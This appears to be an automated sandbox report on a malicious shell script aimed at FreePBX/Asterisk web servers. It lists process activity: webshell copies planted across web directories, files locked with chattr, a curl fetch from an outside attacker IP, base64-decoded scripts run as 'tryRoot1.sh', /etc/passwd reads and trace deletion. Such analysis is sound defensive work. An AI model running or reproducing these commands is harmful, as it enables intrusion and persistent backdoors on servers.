Analysis

  • max time kernel
    13s
  • max time network
    15s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/08/2026, 09:05

General

  • Target
    wr.php.sh
  • Size 26KB
  • Sample260826-k2b83asycv
  • SHA256 c12f158c5e7dc91fcad6543a5dda5b33bb5c60651e5e41d47305ce92a9fc2791
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Reads runtime system information 34 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wr.php.sh
    /tmp/wr.php.sh
    1⤵
    • Writes file to tmp directory
    PID:706
    • /usr/bin/base64
      base64 -d
      2⤵
      • Deobfuscate/Decode Files or Information
      PID:709
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
      2⤵
      • Reads runtime system information
      PID:715
    • /bin/mkdir
      mkdir -p /var/www/html/rest_phones/
      2⤵
      • Reads runtime system information
      PID:718
    • /bin/mkdir
      mkdir -p /var/www/html/restiapps/
      2⤵
      • Reads runtime system information
      PID:720
    • /bin/mkdir
      mkdir -p /var/www/html/restiapp/
      2⤵
      • Reads runtime system information
      PID:723
    • /bin/mkdir
      mkdir -p /var/www/html/phones/
      2⤵
      • Reads runtime system information
      PID:725
    • /bin/mkdir
      mkdir -p /var/www/html/digiums/
      2⤵
      • Reads runtime system information
      PID:727
    • /bin/mkdir
      mkdir -p /var/www/html/admin/modules/h/
      2⤵
      • Reads runtime system information
      PID:728
    • /bin/mkdir
      mkdir -p /var/www/html/admin/modules/fpbxphones/
      2⤵
      • Reads runtime system information
      PID:731
    • /bin/mkdir
      mkdir -p /var/www/html/admin/modules/phones/
      2⤵
      • Reads runtime system information
      PID:733
    • /bin/mkdir
      mkdir -p /var/www/html/digium_phones/
      2⤵
      • Reads runtime system information
      PID:735
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
      2⤵
      • Reads runtime system information
      PID:738
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
      2⤵
      • Reads runtime system information
      PID:740
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
      2⤵
      • Reads runtime system information
      PID:741
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
      2⤵
      • Reads runtime system information
      PID:742
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
      2⤵
      • Reads runtime system information
      PID:744
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
      2⤵
      • Reads runtime system information
      PID:746
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
      2⤵
      • Reads runtime system information
      PID:747
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
      2⤵
      • Reads runtime system information
      PID:749
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
      2⤵
      • Reads runtime system information
      PID:751
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
      2⤵
      • Reads runtime system information
      PID:753
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
      2⤵
      • Reads runtime system information
      PID:754
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
      2⤵
      • Reads runtime system information
      PID:756
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
      2⤵
      • Reads runtime system information
      PID:757
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
      2⤵
      • Reads runtime system information
      PID:758
    • /usr/bin/touch
      touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
      2⤵
        PID:759
      • /bin/chmod
        chmod +x /var/www/html/admin/views/ajax.php
        2⤵
        • File and Directory Permissions Modification
        PID:761
      • /bin/chmod
        chmod +x /var/www/html/admin/views/some.php
        2⤵
        • File and Directory Permissions Modification
        PID:762
      • /usr/bin/chattr
        chattr +i /var/www/html/admin/views/ajax.php
        2⤵
          PID:763
        • /usr/bin/chattr
          chattr +a /var/www/html/admin/views/ajax.php
          2⤵
            PID:764
          • /usr/bin/chattr
            chattr +i /var/www/html/admin/views/some.php
            2⤵
              PID:765
            • /usr/bin/chattr
              chattr +a /var/www/html/admin/views/some.php
              2⤵
                PID:766
              • /usr/bin/chattr
                chattr +i /var/www/html/some.php
                2⤵
                  PID:767
                • /usr/bin/chattr
                  chattr +a /var/www/html/some.php
                  2⤵
                    PID:768
                  • /usr/bin/chattr
                    chattr +i /var/www/html/h.php
                    2⤵
                      PID:769
                    • /usr/bin/chattr
                      chattr +a /var/www/html/h.php
                      2⤵
                        PID:770
                      • /bin/sh
                        sh
                        2⤵
                          PID:774
                        • /usr/bin/curl
                          curl http://160.119.69.4/z/post/noroot.php
                          2⤵
                          • Reads runtime system information
                          PID:773
                        • /usr/bin/base64
                          base64 -d
                          2⤵
                          • Deobfuscate/Decode Files or Information
                          PID:776
                        • /usr/bin/tee
                          tee -a /var/spool/asterisk/tmp/tryRoot1.sh
                          2⤵
                            PID:777
                          • /bin/bash
                            bash /tmp/tryRoot1.sh
                            2⤵
                              PID:778
                              • /bin/ls
                                ls -la
                                3⤵
                                • Reads runtime system information
                                PID:781
                              • /bin/cat
                                cat /etc/passwd
                                3⤵
                                  PID:782
                                • /bin/ls
                                  ls -ls /home
                                  3⤵
                                  • Reads runtime system information
                                  PID:783
                                • /bin/mkdir
                                  mkdir -p /var/www/html/admin/modules/freepbx_ha/
                                  3⤵
                                  • Reads runtime system information
                                  PID:784
                                • /bin/mv
                                  mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
                                  3⤵
                                  • Reads runtime system information
                                  PID:785
                                • /usr/bin/base64
                                  base64 -d
                                  3⤵
                                  • Deobfuscate/Decode Files or Information
                                  PID:787
                                • /bin/rm
                                  rm -f /var/www/html/admin/modules/freepbx_ha/license.php
                                  3⤵
                                    PID:788
                                  • /bin/mv
                                    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
                                    3⤵
                                    • Reads runtime system information
                                    PID:789
                                  • /bin/ls
                                    ls -la
                                    3⤵
                                    • Reads runtime system information
                                    PID:792
                                  • /usr/bin/base64
                                    base64 -d
                                    3⤵
                                    • Deobfuscate/Decode Files or Information
                                    PID:795
                                  • /bin/ls
                                    ls -la
                                    3⤵
                                    • Reads runtime system information
                                    PID:796
                                  • /bin/cat
                                    cat /etc/passwd
                                    3⤵
                                      PID:800
                                    • /bin/ls
                                      ls -ls /home
                                      3⤵
                                      • Reads runtime system information
                                      PID:809
                                  • /bin/bash
                                    bash /var/spool/asterisk/tmp/tryRoot1.sh
                                    2⤵
                                      PID:814
                                    • /bin/rm
                                      rm -rf /tmp/tryRoot1.sh
                                      2⤵
                                        PID:816
                                      • /bin/rm
                                        rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
                                        2⤵
                                          PID:818
                                        • /bin/sh
                                          sh
                                          2⤵
                                            PID:820
                                          • /usr/bin/curl
                                            curl http://160.119.69.4/z/post/noroot.php
                                            2⤵
                                            • Reads runtime system information
                                            PID:819

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

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                                              Downloads

                                              tryRoot1.sh

                                              • Path /tmp/tryRoot1.sh
                                              • Size 11KB
                                              • SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
                                              • MD5 SHA1 SHA512 SSDEEP TLSH